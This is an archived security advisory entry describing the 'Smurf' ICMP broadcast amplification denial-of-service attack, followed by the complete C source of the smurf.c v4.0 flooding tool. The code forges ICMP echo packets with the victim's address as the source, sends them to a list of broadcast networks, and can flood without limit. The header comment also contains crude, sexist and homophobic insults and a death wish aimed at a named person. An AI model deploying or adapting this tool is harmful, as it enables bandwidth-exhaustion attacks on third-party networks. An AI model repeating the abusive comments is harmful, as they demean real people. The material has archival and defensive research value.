source: http://www.securityfocus.com/bid/147/info

The "Smurf" denial of service exploits the existance, and forwarding of, packets sent to IP broadcast addreses. By creating an ICMP echo request packet, with the source address set to an IP within the network to be attacked, and the destination address the IP broadcast address of a network which will forward and respond to ICMP echo packets sent to broadcast. Each packet sent in to the network being used to conduct the attack will be responded to by any machine which will respond to ICMP on the broadcast address. Therefore, a single packet can result in an overwhelming response count, all of which are directed to the network the attacker has forged as the source. This can result in significant bandwidth loss.

/*
 *
 *  $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
 *
 *  spoofs icmp packets from a host to various broadcast addresses resulting
 *  in multiple replies to that host from a single packet.
 *
 *  mad head to:
 *     nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
 *     MissSatan for swallowing, napster for pimping my sister, the guy that
 *     invented vaseline, fyber for trying, knowy, old school #havok, kain
 *     cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
 *     have missed (you know who you are).
 *
 *     hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
 *     thing he is (he's -almost- as stubborn as me, still i managed to pick up
 *     half the cheque).
 *
 *     and a special hi to Todd, face it dude, you're fucking awesome.
 *
 *  mad anal to:
 *     #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
 *     because they plain suck, Rolex for being a twit, everyone that
 *     trades warez, Caren for being a lesbian hoe, AcidKill for being her
 *     partner, #cha0s, sedriss for having an ego in inverse proportion to
 *     his penis and anyone that can't pee standing up -- you don't know what
 *     your missing out on.
 *
 *     and anyone thats ripped my code (diff smurf.c axcast.c is rather
 *     interesting).
 *
 *     and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
 *     Robbins for trying to steal my girlfriend.  Not only did you show me
 *     no respect but you're a manipulating prick who tried to take away the
 *     most important thing in the world to me with no guilt whatsoever, and
 *     for that I wish you nothing but pain.  Die.
 *
 *  disclaimer:
 *     I cannot and will not be held responsible nor legally bound for the
 *     malicious activities of individuals who come into possession of this
 *     program and I refuse to provide help or support of any kind and do NOT
 *     condone use of this program to deny service to anyone or any machine.
 *     This is for educational use only. Please Don't abuse this.
 *
 *  Well, i really, really, hate this code, but yet here I am creating another
 *  disgusting version of it.  Odd, indeed.  So why did I write it?  Well, I,
 *  like most programmers don't like seeing bugs in their code.  I saw a few
 *  things that should have been done better or needed fixing so I fixed
 *  them.  -shrug-, programming for me as always seemed to take the pain away
 *  ...
 *
 *
 */

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>

void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned short in_chksum(u_short *, int);

/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";

int main (int argc, char *argv[])
{
   struct sockaddr_in sin;
   struct hostent *he;
   FILE   *bcastfile;
   int    i, sock, bcast, delay, num, pktsize, cycle = 0, x;
   char   buf[32], **bcastaddr = malloc(8192);

   banner();
   signal(SIGINT, ctrlc);

   if (argc < 6) usage(argv[0]);

   if ((he = gethostbyname(argv[1])) == NULL) {
      perror("resolving source host");
      exit(-1);
   }
   memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
   sin.sin_family = AF_INET;
   sin.sin_port = htons(0);

   num = atoi(argv[3]);
   delay = atoi(argv[4]);
   pktsize = atoi(argv[5]);

   if ((bcastfile = fopen(argv[2], "r")) == NULL) {
      perror("opening bcast file");
      exit(-1);
   }
   x = 0;
   while (!feof(bcastfile)) {
      fgets(buf, 32, bcastfile);
      if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
      for (i = 0; i < strlen(buf); i++)
          if (buf[i] == '\n') buf[i] = '\0';
      bcastaddr[x] = malloc(32);
      strcpy(bcastaddr[x], buf);
      x++;
   }
   bcastaddr[x] = 0x0;
   fclose(bcastfile);

   if (x == 0) {
      fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
      exit(-1);
   }
   if (pktsize > 1024) {
      fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
      exit(-1);
   }

   if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
      perror("getting socket");
      exit(-1);
   }
   setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));

   printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

   for (i = 0; i < num || !num; i++) {
      if (!(i % 25)) { printf("."); fflush(stdout); }
      smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
      cycle++;
      if (bcastaddr[cycle] == 0x0) cycle = 0;
      usleep(delay);
   }
   puts("\n\n");
   return 0;
}

void banner (void)
{
   puts("\nsmurf.c v4.0 by TFreak\n");
}

void usage (char *prog)
{
   fprintf(stderr, "usage: %s <target> <bcast file> "
                   "<num packets> <packet delay> <packet size>
\n\n"
                   "target        = address to hit\n"
                   "bcast file    = file to read broadcast addresses from\n"
                   "num packets   = number of packets to send (0 = flood)\n"
                   "packet delay  = wait between each packet (in ms)\n"
                   "packet size   = size of packet (< 1024)\n\n", prog);
   exit(-1);
}

void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
   struct iphdr *ip;
   struct icmphdr *icmp;
   char *packet;

   packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
   ip = (struct iphdr *)packet;
   icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

   memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

   ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize)
;
   ip->ihl = 5;
   ip->version = 4;
   ip->ttl = 255;
   ip->tos = 0;
   ip->frag_off = 0;
   ip->protocol = IPPROTO_ICMP;
   ip->saddr = sin.sin_addr.s_addr;
   ip->daddr = dest;
   ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
   icmp->type = 8;
   icmp->code = 0;
   icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize
);

   sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
          0, (struct sockaddr *)&sin, sizeof(struct sockaddr));

   free(packet);           /* free willy! */
}

void ctrlc (int ignored)
{
   puts("\nDone!\n");
   exit(1);
}

unsigned short in_chksum (u_short *addr, int len)
{
   register int nleft = len;
   register int sum = 0;
   u_short answer = 0;

   while (nleft > 1) {
      sum += *addr++;
      nleft -= 2;
   }

   if (nleft == 1) {
      *(u_char *)(&answer) = *(u_char *)addr;
      sum += answer;
   }

   sum = (sum >> 16) + (sum + 0xffff);
   sum += (sum >> 16);
   answer = ~sum;
   return(answer);
}